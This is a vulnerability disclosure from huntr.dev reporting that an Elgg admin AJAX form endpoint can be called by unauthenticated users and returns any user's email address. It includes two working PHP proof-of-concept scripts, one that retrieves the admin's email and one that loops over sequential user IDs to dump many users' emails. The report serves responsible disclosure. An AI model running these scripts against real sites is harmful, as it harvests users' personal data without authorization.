Lucene search

K
huntrBrenu1F43F11E-4BD8-451F-A244-DC9541CDC0AC
HistoryNov 18, 2021 - 2:44 p.m.

in elgg/elgg

2021-11-1814:44:17
brenu
www.huntr.dev
8

0.002 Low

EPSS

Percentile

55.8%

Hello Elgg Team, hope you are having an awesome day :)

Just found an issue on the latest version of Elgg, and apparently the previous versions also have the same flaw.

Description

There is this endpoint, which is:

http://elgg-example-here.com/ajax/form/admin/user/change_email

This endpoint is supposed to pick the query parameter user_guid and return a form so the admin can change the e-mail of any given user that has this user_guid. The response for this request contains within the form, the display name of a user and also its current e-mail address.

The problem is: originally, this ajax view is supposed to be used exclusively by the Admin user, but actually any user is capable of calling it, even unauthenticated ones. And because the user_guid is as “sequential” value, it is easy to execute a loop and dump all the e-mail addresses that are saved.

Proof of Concept

I made two PoCs, for the first one, this PHP script will return the e-mail of the Admin user:

<?php

$host = 'HOST_NAME_HERE';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://'.$host.'/elgg/ajax/form/admin/user/change_email?user_guid=40');
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
    'X-Requested-With:XMLHttpRequest',
    'X-Elgg-Ajax-API:2'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$content = curl_exec($ch);
$content = json_decode($content, false);

$dom = new DOMDocument;
$dom->loadHTML($content->value);
$attr = array();
$tg = "input";
$inputs = $dom->getElementsByTagName($tg);

foreach ($inputs as $tag) {
    array_push($attr, $tag->getAttribute("value"));
}

echo "The e-mail of the admin is ". end($attr) . " :)\n";

?>

And on this second one, the script will run a loop and retrieve e-mail addresses of multiple users

<?php

$host = 'HOST_NAME_HERE';

$ch = curl_init();

// It goes from the last to the first user, I used 60 because my testing environment
// had just a few users, but you may change it to any different value
for( $i = 60; $i >= 40; $i-- ) {
    curl_setopt($ch, CURLOPT_URL, 'http://'.$host.'/elgg/ajax/form/admin/user/change_email?user_guid='.$i);
    curl_setopt($ch,CURLOPT_HTTPHEADER,array(
        'X-Requested-With:XMLHttpRequest',
        'X-Elgg-Ajax-API:2'
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $content = curl_exec($ch);
    $content = json_decode($content, false);

    $dom = new DOMDocument;
    $dom->loadHTML($content->value);
    $attr = array();
    $tg = "input";
    $inputs = $dom->getElementsByTagName($tg);

    if(sizeof($inputs) == 4) {
        foreach ($inputs as $tag) {
            array_push($attr, $tag->getAttribute("value"));
        }
        echo end($attr) . "\n";
    }
}

?>

Impact

This issue compromises the confidentiality of information, since this data is not meant to be publicly available.

0.002 Low

EPSS

Percentile

55.8%

Related for 1F43F11E-4BD8-451F-A244-DC9541CDC0AC